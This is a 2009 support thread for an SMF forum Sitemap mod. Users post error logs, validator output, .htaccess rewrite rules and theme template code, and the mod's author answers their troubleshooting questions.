No, I'm using version 1.1.8. Here's the crazy part, if I change my just my index.php to 1.1.5 and leave everything else the same it allows me to view the sitemap, but I can't stop others from viewing it?
Title: Re: Sitemap
Post by: weisus on February 12, 2009, 12:09:45 AM
My God Man, you are a Friggen Genius!

How in the world did you notice that. I had re-installed 1.1.5 and when I checked the file, 'sitemap' => array('Sitemap.php', 'ShowSiteMap'), was there. So, I re-installed index.php 1.1.8 and sure enough...it was missing! Thanks a million man, you just put a grin on my face from ear to ear. :D
Title: Re: Sitemap
Post by: SlammedDime on February 12, 2009, 12:24:55 AM
I meant version 1.2.2 of the mod, but I'm glad you got it sorted out... :)
Title: Re: Sitemap
Post by: perplexed on February 14, 2009, 09:04:08 PM
hello

I'm on 1.1.8 and installed your sitemap mod.  Thing seem to be ok except in the error log I get lots of these:

http://www.xxxxx/forum/index.php?action=sitemap (http://www.xxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: nump
File: /home/xxxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 75

http://www.xxxxxxx/forum/index.php?action=sitemap (http://www.xxxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: numt
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 74

http://www.xxxxxx/forum/index.php?action=sitemap (http://www.xxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: description
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 73


http://www.xxxxxxx/forum/index.php?action=sitemap (http://www.xxxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: id
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 72


http://www.xxxxxxxx/forum/index.php?action=sitemap (http://www.xxxxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: level
File: /home/xxxxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 62


http://www.xxxxxxxx/forum/index.php?action=sitemap
8: Undefined index: name
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 72


It's not a big problem as not many people seem to click on the sitemap link but each time they do, it generates these 6 errors above

thanks in advance
Title: Re: Sitemap
Post by: SlammedDime on February 14, 2009, 10:20:42 PM
BlueDevil had a similar issue, and I wasn't able to reproduce it, but it was because a parent board was hidden to guests, but it's child boards did allow guest access.  Or it could be because of perhaps a redirect boards mod installed?  I never thought about that.  I'll have to do some testing on 2.0 for that to see what happens.
Title: Re: Sitemap
Post by: perplexed on February 14, 2009, 10:31:42 PM
Quotebut it was because a parent board was hidden to guests, but it's child boards did allow guest access

ok this sounds interesting, I will check as it is quite possible that this has happened at some stage.

I don't have a redirection mod installed so I will check out the parent/child suggestion and get back to you

thanks for the quick reply
Title: Re: Sitemap
Post by: beltazar on February 17, 2009, 06:58:36 AM
Hi guys,

I get this error

Error!
XML parsing failed

XML parsing failed: syntax error (Line: 9, Character: 1)

Reparse document as HTML
Error:unexpected start-tag (root element already specified)
Specification:http://www.w3.org/TR/REC-xml/
  6: </td>
  7: </tr>
  8: </table>
  9: <div class="tborder" style="margin-top: 0;">
10: <div class="catbg2" style="padding: 5px 5px 5px 10px;">
11: <a href="http://kusuma-ruslan.com/portal/collapse/?c=1;sa=collapse#1"><img src="http://kusuma-ruslan.com/portal/Themes/Airy_midnight118/images/collapse.gif" alt="-" border="0" /></a>
12: <a name="1" href="http://kusuma-ruslan.com/portal/collapse/?c=1;sa=collapse#1">Kusuma Ruslan</a>


what should I do ? thx
Title: Re: Sitemap
Post by: SlammedDime on February 17, 2009, 02:54:42 PM
I don't see the sitemap mod installed on your site...
Title: Re: Sitemap
Post by: sombra on February 22, 2009, 09:30:21 AM
hello

i have installed version 1.30 and im having a little problem wen i go to the sitemap link its just sending me to the forum im using default theme and smf 2.04

the most strange thing is that the link is

http://todoilegal.net/index.php?action=sitemap

but it takes me to the forum again maybe im missing some file?
Title: Re: Sitemap
Post by: SoftDux on February 22, 2009, 10:58:49 AM
Hi,

I've installed this mod, and ticked the option, "Show Sitemap XML link", yet I don't see the http://forum.softdux.com/sitemap.xml file on my domain.

Yet, http://forum.softdux.com/index.php?action=sitemap;xml works fine.

How do I get http://forum.softdux.com/sitemap.xml?
Title: Re: Sitemap
Post by: SlammedDime on February 22, 2009, 03:45:45 PM
This mod does not create a sitemap.xml file, please re-read the readme as well as the mod's download page... i'll quote here also...

QuoteIf your forum is in a subdirectory of your site, say http://www.mysite.com/forum, then you will need to create a .htaccess file, or add to one already in your root directory, that contains the following:

   RewriteEngine on
   RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml

and replace /forum above with the directory of your SMF installation.  Then you will be able to access the sitemap from http://www.myurl.com/sitemap.xml.

Yours is just just fine the way it is and there is no need to use mod_rewrite to imitate a sitemap.xml file.
Title: Re: Sitemap
Post by: sombra on February 22, 2009, 04:49:41 PM
im a little lost had some problemas uninstalling this mod then updating it then i had som troubles with my hd i l0ost it so know im more lost can you give me a hint were can i start trobleshooting since on every post i get ignored ive been here for a month i look at the forst page to start al over but know i dont see the version i have were can i get the manual instruccion of my version and remember i got almost no knolegede in php but im trying i only need a guide thats wiling to help

thanks again for any reply
Title: Re: Sitemap
Post by: SlammedDime on February 22, 2009, 05:38:24 PM
I'm sorry sombra, but I don't really see where your confusion is coming from.  Viewing the manual instructions for this mod is quite easy.  On the mod's download page, select the version of the mod that matches the version of SMF that you have.  If you have the 1.1.x line of SMF, click the radio button next to version 1.2.2.  If you have 2.0 RC1, click the radio button next to 2.0.0.  Then select your version of SMF from the drop down below the radio button, then click on Submit.  That will get you the manual instructions.

You'll have to open each file that the mod changes and see if the changes are there.  If they are, I would remove them, and once that is complete, you can then install the mod via the package manager.

I have no issue helping, but I certainly won't do all of the work for you, you'll never learn to do it yourself that way.
Title: Re: Sitemap
Post by: sombra on February 22, 2009, 09:57:20 PM
Quote from: sombra on February 22, 2009, 09:30:21 AM
hello

i have installed version 1.30 and im having a little problem wen i go to the sitemap link its just sending me to the forum im using default theme and smf 2.04

the most strange thing is that the link is

http://todoilegal.net/index.php?action=sitemap

but it takes me to the forum again maybe im missing some file?

thanks for the reply and im not asking to do the work for me my friend im only asking for some direcctions like i told you before

were can i find the manual instruccion of sitemap version 1.30

the problem of sitemap taking me to the forum again can it be a missing file? if not were do you think i need to look for

again thanks for the mod and the pasience
Title: Re: Sitemap
Post by: SlammedDime on February 23, 2009, 04:57:12 AM
Since 1.3.0 isn't available for download anymore, what you'll need to do is download a copy from your Packages folder via FTP, then you'll need to use an external package parser to view the install instructions... http://sleepycode.com/PackageParser/index.php
Title: Re: Sitemap
Post by: sombra on February 23, 2009, 05:34:00 PM
ok thanks i never used the parser i will see how it works and thanks for the info
Title: Re: Sitemap
Post by: sombra on February 23, 2009, 07:22:45 PM
thanks man! it wasen installed in almost all files for real thanks for the help
Title: Re: Sitemap
Post by: sombra on February 23, 2009, 07:41:22 PM
well now i got a tiny problem hehehe in my custom theme i have a custom footer i puted this code

<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a> | <li><a id="button_xhtml" href="http://validator.w3.org/check/referer" target="_blank" class="new_win" title="', $txt['valid_html'], '"><span>XHTML</span></a></li> | <li><a id="button_rss" href="', $scripturl , '?type=rss;action=.xml" class="new_win"><span>RSS</span></a></li> | <li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li> | <a href="'.$scripturl.'?action=rules;sa=agreement" class="new_win"><span>Terminos y Condiciones</span></a> | <a href="'.$scripturl.'?action=rules" class="new_win"><span>Regas de Post</span></a> | <a href="'.$scripturl.'?action=rules;sa=additional" class="new_win"><span>Que es Todo Ilegal</span></a></li>

but for some reason it dosent show up un a line like before now its showing up like this any ideas to fix this little problem

http://img140.imageshack.us/img140/6827/sitemap.jpg

i wanted them to show up somthing like this

sitemap | wap 2 | rules | etz..

and thanks for this great mod and all the help

edited:

i found an error  wen i go to this link

http://validator.w3.org/check/referer

Errors found while checking this document as XHTML 1.0 Transitional!

Result:      10 Errors

Address:  http://todoilegal.net/index.php?action=forum

Validation Output:  10 Errors

   1. Error Line 978, Column 21: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      <li class="last"><a href="http://todoilegal.net/index.php?action=sitemap" c

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   2. Error Line 978, Column 122: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      ..."new_win"><span>Sitemap</span></a><li><a id="button_xhtml" href="http://valid

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   3. Error Line 978, Column 283: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      ...;lido"><span>XHTML</span></a></li><li><a id="button_rss" href="http://todoile

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   4. Error Line 978, Column 407: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      ...new_win"><span>RSS</span></a></li><li><a id="button_wap2" href="http://todoil

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   5. Error Line 979, Column 21: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      <li class="last"><a href="http://todoilegal.net/index.php?action=rules;sa=a

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   6. Error Line 984, Column 10: end tag for "li" omitted, but OMITTAG NO was specified.

      </div>

      ✉

      You may have neglected to close an element, or perhaps you meant to "self-close" an element, that is, ending it with "/>" instead of ">".
   7. Info Line 978, Column 5: start tag was here.

      <li class="last"><a href="http://todoilegal.net/index.php?action=sitemap" c

   8. Error Line 984, Column 11: XML Parsing Error: Opening and ending tag mismatch: li line 978 and div.

      </div>

      ✉
   9. Error Line 989, Column 7: XML Parsing Error: Opening and ending tag mismatch: div line 42 and body.

      </body></html>

      ✉
  10. Error Line 989, Column 14: XML Parsing Error: Opening and ending tag mismatch: body line 41 and html.

      </body></html>

      ✉
  11. Error Line 989, Column 14: XML Parsing Error: Premature end of data in tag html line 2.

      </body></html>
Title: Re: Sitemap
Post by: SlammedDime on February 23, 2009, 08:16:38 PM
Get rid of the <li> and </li> statements.
Title: Re: Sitemap
Post by: sombra on February 23, 2009, 09:25:43 PM
i deleted all the /li and li but still got 10 error

Validation Output:  10 Errors

   1. Error Line 978, Column 21: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      <li class="last"><a href="http://todoilegal.net/index.php?action=sitemap" c

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   2. Error Line 979, Column 21: document type does not allow element "li" here; missing one of "ul", "ol", "menu", "dir" start-tag.

      <li class="last"><a href="http://todoilegal.net/index.php?action=rules;sa=a

      ✉

      The mentioned element is not allowed to appear in the context in which you've placed it; the other mentioned elements are the only ones that are both allowed there and can contain the element mentioned. This might mean that you need a containing element, or possibly that you've forgotten to close a previous element.

      One possible cause for this message is that you have attempted to put a block-level element (such as "<p>" or "<table>") inside an inline element (such as "<a>", "<span>", or "<font>").
   3. Error Line 984, Column 10: end tag for "li" omitted, but OMITTAG NO was specified.

      </div>

      ✉

      You may have neglected to close an element, or perhaps you meant to "self-close" an element, that is, ending it with "/>" instead of ">".
   4. Info Line 979, Column 5: start tag was here.

      <li class="last"><a href="http://todoilegal.net/index.php?action=rules;sa=a

   5. Error Line 984, Column 10: end tag for "li" omitted, but OMITTAG NO was specified.

      </div>

      ✉

      You may have neglected to close an element, or perhaps you meant to "self-close" an element, that is, ending it with "/>" instead of ">".
   6. Info Line 978, Column 5: start tag was here.

      <li class="last"><a href="http://todoilegal.net/index.php?action=sitemap" c

   7. Error Line 984, Column 11: XML Parsing Error: Opening and ending tag mismatch: li line 979 and div.

      </div>

      ✉
   8. Error Line 985, Column 10: XML Parsing Error: Opening and ending tag mismatch: li line 978 and div.

      </div>

      ✉
   9. Error Line 989, Column 7: XML Parsing Error: Opening and ending tag mismatch: div line 974 and body.

      </body></html>

      ✉
  10. Error Line 989, Column 14: XML Parsing Error: Opening and ending tag mismatch: div line 42 and html.

      </body></html>

      ✉
  11. Error Line 989, Column 14: XML Parsing Error: Premature end of data in tag body line 41.

      </body></html>

      ✉
  12. Error Line 989, Column 14: XML Parsing Error: Premature end of data in tag html line 2.

      </body></html>


the first 2 look like this

http://img258.imageshack.us/img258/3537/validatin.jpg

some of the others look like this

http://img11.imageshack.us/img11/2971/validatin2.jpg

and thanks for the replys

edited"

and how can i submit my sitemap to google couse its giving me an error the link of

index.php?action=sitemap

Title: Re: Sitemap
Post by: SlammedDime on February 24, 2009, 04:54:44 AM
You need to delete the <li> and <li class="last"> too

And you need to submit the XML sitemap... action=sitemap;xml.
Title: Re: Sitemap
Post by: sombra on February 24, 2009, 09:58:43 AM
thanks  :D works like charm
Title: Re: Sitemap
Post by: finishpro on February 24, 2009, 01:56:00 PM
Following Error on 1.1.8


Type     Action     Description
1.    Execute Code    add_settings.php    
2.    Execute Modification    ./index.php    Test successful
3.    Execute Modification    ./Sources/ModSettings.php    Test successful
4.    Execute Modification    ./Themes/default/index.template.php    Test successful
5.    Execute Modification    ./Themes/default/languages/Help.english.php    Test successful
6.    Execute Modification    ./Themes/default/languages/Modifications.english.php    Test successful
7.    Execute Modification    ./Themes/default/languages/Who.english.php    Test successful
8.    Execute Modification    ./Themes/default/style.css    Test failed
9.    Execute Modification    ./Themes/default/languages/Help.french.php    Skipping file
10.    Execute Modification    ./Themes/default/languages/Modifications.french.php    Skipping file
11.    Execute Modification    ./Themes/default/languages/Who.french.php    Skipping file
12.    Extract File    ./Sources/Sitemap.php    
13.    Extract File    ./Themes/default/Sitemap.template.php
Title: Re: Sitemap
Post by: SlammedDime on February 25, 2009, 01:23:37 AM
Use the manual instructions to view the changes for style.css and manually add them in.  It's only a few lines of style.
Title: Re: Sitemap
Post by: midas on February 26, 2009, 08:03:39 AM
Just thought I'd let everybody know that if you're using a non-default theme that uses php then you can add the sitemap link to the bottom of every page by using this:


echo '
<br /><span class="smalltext">', '<a href="', $scripturl, '?action=sitemap">Sitemap</a>', '</span>';


Between...

this


        <div id="footer">
     <div id="foot-l">
      <div id="foot-r">
            <div id="footerarea">
                <span class="smalltext">', theme_copyright(), '
                <br />', $txt['c_copy'], '</span>';


and this


        // Show the load time?
    if ($context['show_load_time'])


I'm not a php'er, just worked it out through introspection of the theme I use at JournalXtra (http://www.journalxtra.com) which is Headline.

Works in SMF 1.1.8.  Haven't tried it in other versions.

Repeat: adding the top bit of code will place the sitemap link at the very bottom of every page, centrally aligned.
Title: Re: Sitemap
Post by: weisus on March 05, 2009, 01:29:47 PM
Quick question:
In webmaster tools, I'm receiving a redirect error for URLs in Sitemaps. It is showing my forum url as the problem:
http://citrusinformationzone.com/CommunityForum

The only thing that I have been able to come up with, is that it doesn't have a trailing backslash (/) after CommunityForum, which is the way that it is displayed if you call up the page in a browser. I figured that I could add the / in, Themes/default/Sitemap.template.php, but after playing around with it a bit, that doesn't seem to be the way. Any suggestions?

I suppose that I should mention that I did alter the aforementioned template.php a bit to include a couple of my main site pages:

echo '<?xml version="1.0" encoding="UTF-8"?>

<urlset xmlns="http://www.google.com/schemas/sitemap/0.84">';

                echo '


        <url>
  <loc>http://citrusinformationzone.com/</loc>
  <lastmod>2009-03-03</lastmod>
  <changefreq>daily</changefreq>
  <priority>1.0</priority>
  </url>
        <url>
  <loc>http://citrusinformationzone.com/Forum_News_And_Events.php</loc>
  <lastmod>2009-03-03</lastmod>
  <changefreq>daily</changefreq>
  <priority>0.9</priority>
  </url>
        <url>
  <loc>http://citrusinformationzone.com/CountyGovernment.html</loc>
  <lastmod>2009-03-03</lastmod>
  <changefreq>weekly</changefreq>
  <priority>0.9</priority>
  </url>
        <url>

                <loc>', sefReltoAbs($myurl), '</loc>

                <lastmod>', $context['sitemap']['main']['time'], '</lastmod>

                <changefreq>always</changefreq>

                <priority>1.0</priority>

        </url>';



        if (isset($context['sitemap']['board']))

        foreach ($context['sitemap']['board'] as $board)

                echo '

        <url>

                <loc>', sefReltoAbs($myurl . $mark . 'board=' . $board['id']), '</loc>

                <lastmod>', $board['time'], '</lastmod>

                <changefreq>daily</changefreq>

                <priority>0.8</priority>

        </url>';



        if (isset($context['sitemap']['topic']))

        foreach ($context['sitemap']['topic'] as $topic)

                echo '

        <url>

                <loc>', sefReltoAbs($myurl . $mark . 'topic=' . $topic['id']), '</loc>

                <lastmod>', $topic['time'], '</lastmod>

                <changefreq>daily</changefreq>

                <priority>0.8</priority>

        </url>';





        echo '

</urlset>';



}
[code/]
Title: Re: Sitemap
Post by: 0413 on March 05, 2009, 03:46:39 PM
Hi everyone,

This mod is a total blessing :)

I do have one question.  I understand using a default theme you will have to make some changes manually, but what I can't figure out is how to add the XML link at the bottom of my page.  I jacked up the coding in the index file and now clanwar is no longer supported.  Anybody able to tell how I can get that link back down in the bottom.

Thanks
Title: Re: Sitemap
Post by: SlammedDime on March 05, 2009, 04:09:00 PM
The xml link shouldn't be added to the bottom of the page, just the normal link to the sitemap itself.

Attach a copy of index.template.php from your theme to your next post.
Title: Re: Sitemap
Post by: 0413 on March 05, 2009, 04:40:08 PM
sorry, meant to add that:

Here is the link to my site:

www.posterdistrict.com/forum (http://www.posterdistrict.com/forum)

<?php
// Version: 2.0 Beta 4 Public; index

/* This template is, perhaps, the most important template in the theme. It
contains the main template layer that displays the header and footer of
the forum, namely with main_above and main_below. It also contains the
menu sub template, which appropriately displays the menu; the init sub
template, which is there to set the theme up; (init can be missing.) and
the linktree sub template, which sorts out the link tree.

The init sub template should load any data and set any hardcoded options.

The main_above sub template is what is shown above the main content, and
should contain anything that should be shown up there.

The main_below sub template, conversely, is shown after the main content.
It should probably contain the copyright statement and some other things.

The linktree sub template should display the link tree, using the data
in the $context['linktree'] variable.

The menu sub template should display all the relevant buttons the user
wants and or needs.

For more information on the templating system, please see the site at:
http://www.simplemachines.org/
*/

// Initialize the template... mainly little settings.
function template_init()
{
global $context$settings$options$txt;

/* Use images from default theme when using templates from the default theme?
if this is 'always', images from the default theme will be used.
if this is 'defaults', images from the default theme will only be used with default templates.
if this is 'never' or isn't set at all, images from the default theme will not be used. */
$settings['use_default_images'] = 'never';

/* What document type definition is being used? (for font size and other issues.)
'xhtml' for an XHTML 1.0 document type definition.
'html' for an HTML 4.01 document type definition. */
$settings['doctype'] = 'xhtml';

/* The version this template/theme is for.
This should probably be the version of SMF it was created for. */
$settings['theme_version'] = '2.0 Beta 3 Public';

/* Set a setting that tells the theme that it can render the tabs. */
$settings['use_tabs'] = true;

/* Use plain buttons - as oppossed to text buttons? */
$settings['use_buttons'] = true;

/* Show sticky and lock status separate from topic icons? */
$settings['separate_sticky_lock'] = true;

/* Does this theme use the strict doctype? */
$settings['strict_doctype'] = false;

/* Does this theme use post previews on the message index? */
$settings['message_index_preview'] = false;
}

// The main sub template above the content.
function template_html_above()
{
global $context$settings$options$scripturl$txt$modSettings;

// Show right to left and the character set for ease of translating.
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"'
$context['right_to_left'] ? ' dir="rtl"' '''><head>
<meta http-equiv="Content-Type" content="text/html; charset='
$context['character_set'], '" />
<meta name="description" content="'
$context['page_title'], '" />
<meta name="keywords" content="PHP, MySQL, bulletin, board, free, open, source, smf, simple, machines, forum" />
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/scripts/script.js?b21"></script>
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/scripts/theme.js?b21"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "'
$settings['theme_url'], '";
var smf_default_theme_url = "'
$settings['default_theme_url'], '";
var smf_images_url = "'
$settings['images_url'], '";
var smf_scripturl = "'
$scripturl'";
var smf_iso_case_folding = '
$context['server']['iso_case_folding'] ? 'true' 'false'';
var smf_charset = "'
$context['character_set'], '";'$context['show_pm_popup'] ? '
if (confirm("' 
$txt['show_personal_messages'] . '"))
window.open("' 
$scripturl '?action=pm");' '''
var ajax_notification_text = "'
$txt['ajax_in_progress'], '";
var ajax_notification_cancel_text = "'
$txt['modify_cancel'], '";
// ]]></script>
<title>'
$context['page_title'], '</title>';

// Please don't index these Mr Robot.
if (!empty($context['robot_no_index']))
echo '
<meta name="robots" content="noindex" />'
;

// The ?b21 part of this link is just here to make sure browsers don't cache it wrongly.
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/style.css?b21" />
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/css/print.css?b21" media="print" />';

/* Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are big...)
Thus, in Internet Explorer 4, 5, and Opera 6 this will show fonts one size smaller than usual.
Note that this is affected by whether IE 6 is in standards compliance mode.. if not, it will also be big.
Standards compliance mode happens when you use xhtml... */
if ($context['browser']['needs_size_fix'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/css/fonts-compat.css" />';

// Show all the relative links, such as help, search, contents, and the like.
echo '
<link rel="help" href="'
$scripturl'?action=help" />
<link rel="search" href="' 
$scripturl '?action=search" />
<link rel="contents" href="'
$scripturl'" />';

// If RSS feeds are enabled, advertise the presence of one.
if (!empty($modSettings['xmlnews_enable']))
echo '
<link rel="alternate" type="application/rss+xml" title="'
$context['forum_name'], ' - RSS" href="'$scripturl'?type=rss;action=.xml" />';

// If we're viewing a topic, these should be the previous and next topics, respectively.
if (!empty($context['current_topic']))
echo '
<link rel="prev" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=prev" />
<link rel="next" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=next" />';

// If we're in a board, or a topic for that matter, the index will be the board's index.
if (!empty($context['current_board']))
echo '
<link rel="index" href="' 
$scripturl '?board=' $context['current_board'] . '.0" />';

// We'll have to use the cookie to remember the header...
if ($context['user']['is_guest'])
$options['collapse_header'] = !empty($_COOKIE['upshrink']);

// Output any remaining HTML headers. (from mods, maybe?)
echo $context['html_headers'], '

<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
// Create the main header object.
var mainHeader = new smfToggle("upshrink", '
, empty($options['collapse_header']) ? 'false' 'true'');
mainHeader.useCookie('
$context['user']['is_guest'] ? 0');
mainHeader.setOptions("collapse_header", "'
$context['session_id'], '");
mainHeader.addToggleImage("upshrink", "/upshrink.gif", "/upshrink2.gif");
mainHeader.addTogglePanel("upshrinkHeader");
mainHeader.addTogglePanel("upshrinkHeader2");
// ]]></script>'
;

echo '
</head>
<body>'
;

// Show the menu here, according to the menu sub template.
template_menu();


function 
template_body_above()
{
global $context$settings$options$scripturl$txt$modSettings;

echo '
<div class="tborder" '
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' style="width: 100%;"' '''>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="catbg" height="32">'
;

if (empty($settings['header_logo_url']))
echo '
<span style="font-family: Verdana, sans-serif; font-size: 140%; ">'
$context['forum_name'], '</span>';
else
echo '
<a href="'
.$scripturl.'"><img src="'$settings['header_logo_url'], '" style="margin: 4px;" alt="'$context['forum_name'], '" />';

echo '
</td>
<td align="right" class="catbg">

</td>
</tr>
</table>'
;

// display user name
echo '
<table width="100%" cellpadding="0" cellspacing="0" border="0" >
<tr class="titlebg2">'
;

if($context['user']['is_logged'])
echo '
<td  height="32">
<span style="font-size: 130%;"> '
$txt['hello_member_ndt'], ' <b>'$context['user']['name'] , '</b></span>
</td>'
;

// display the time
echo '
<td height="32" align="right">
<span class="smalltext">' 
$context['current_time'], '</span>';

// this is the upshrink button for the user info section
echo '
<a href="#" onclick="mainHeader.toggle(); return false;"><img id="upshrink" src="'
$settings['images_url'], '/', empty($options['collapse_header']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" align="bottom" style="margin: 0 1ex;" /></a>
</td>
</tr>
<tr id="upshrinkHeader"'
, empty($options['collapse_header']) ? '' ' style="display: none;"''>
<td valign="top" colspan="2">
<table width="100%" class="bordercolor" cellpadding="8" cellspacing="0" border="0" style="margin-top: 1px;">
<tr class="windowbg2">'
;

if (!empty($context['user']['avatar']))
echo '
<td class="windowbg" valign="middle">'
$context['user']['avatar']['image'], '</td>';

echo '
<td colspan="2" width="50%" valign="top" class="windowbg2"><span class="middletext">'
;

// If the user is logged in, display stuff like their name, new messages, etc.
if ($context['user']['is_logged'])
{
echo '
<a href="'
$scripturl'?action=unread">'$txt['unread_since_visit'], '</a> <br />
<a href="'
$scripturl'?action=unreadreplies">'$txt['show_unread_replies'], '</a><br />';

}
// Otherwise they're a guest - send them a lovely greeting...
else
echo sprintf($txt['welcome_guest'], $txt['guest_title']);

// Now, onto our second set of info, are they logged in again?
if ($context['user']['is_logged'])
{
// Is the forum in maintenance mode?
if ($context['in_maintenance'] && $context['user']['is_admin'])
echo '
<b>'
$txt['maintain_mode_on'], '</b><br />';

// Are there any members waiting for approval?
if (!empty($context['unapproved_members']))
echo '
'
$context['unapproved_members'] == $txt['approve_thereis'] : $txt['approve_thereare'], ' <a href="'$scripturl'?action=admin;area=viewmembers;sa=browse;type=approve">'$context['unapproved_members'] == $txt['approve_member'] : $context['unapproved_members'] . ' ' $txt['approve_members'], '</a> '$txt['approve_members_waiting'], '<br />';

// Show the total time logged in?
if (!empty($context['user']['total_time_logged_in']))
{
echo '
'
$txt['totalTimeLogged1'];

// If days is just zero, don't bother to show it.
if ($context['user']['total_time_logged_in']['days'] > 0)
echo $context['user']['total_time_logged_in']['days'] . $txt['totalTimeLogged2'];

// Same with hours - only show it if it's above zero.
if ($context['user']['total_time_logged_in']['hours'] > 0)
echo $context['user']['total_time_logged_in']['hours'] . $txt['totalTimeLogged3'];

// But, let's always show minutes - Time wasted here: 0 minutes ;).
echo $context['user']['total_time_logged_in']['minutes'], $txt['totalTimeLogged4'], '<br />';
}

if (!empty($context['open_mod_reports']) && $context['show_open_reports'])
echo '
<a href="'
$scripturl'?action=moderate;area=reports">'sprintf($txt['mod_reports_waiting'], $context['open_mod_reports']), '</a><br />';
echo ' </span>';
}
// Otherwise they're a guest - this time ask them to either register or login - lazy bums...
else
{
echo ' </span>
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/scripts/sha1.js"></script>

<form action="'
$scripturl'?action=login2" method="post" accept-charset="'$context['character_set'], '" class="middletext" style="margin: 3px 1ex 1px 0;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' $context['session_id'] . '\');"' '''>
<input type="text" name="user" size="10" /> <input type="password" name="passwrd" size="10" />
<select name="cookielength">
<option value="60">'
$txt['one_hour'], '</option>
<option value="1440">'
$txt['one_day'], '</option>
<option value="10080">'
$txt['one_week'], '</option>
<option value="43200">'
$txt['one_month'], '</option>
<option value="-1" selected="selected">'
$txt['forever'], '</option>
</select>
<input type="submit" value="'
$txt['login'], '" /><br />
<span class="middletext">'
$txt['quick_login_dec'], '</span>';
if (!empty($modSettings['enableOpenID']))
echo'<br />
<input type="text" name="openid_url" id="openid_url" size="25" class="openid_login" />'
;

echo '
<input type="hidden" name="hash_passwrd" value="" />
</form>'
;
}

echo '
</td>'
;
if (!empty(
$settings['enable_news']))
echo '
  <td>
<table cellpadding="8" cellspacing="1" width="100%" class="newsborder">
 <tr>
  <td class="newsbox">
  <span class="smalltext"><b>'
$txt['news'], '</b>: '$context['random_news_line'], '</span>
  </td>
  </tr>   
</table>
</td>
  </tr>
</table>
</td>
</tr>
</table>'
;
else;

echo '
<table id="upshrinkHeader2"'
, empty($options['collapse_header']) ? '' ' style="display: none;"'' width="100%" cellpadding="4" cellspacing="0" border="0">
<tr>'
;


if (empty($settings['url_link']))
echo '';
else
echo '<td class="sitelink" width="112"><table><tr><td><img src="'.$settings['images_url'].'/site.gif"  alt="" /></td><td><a href="'$settings['url_link'], '" >'$settings['url_text'], '</td></tr></table></td>';



echo '

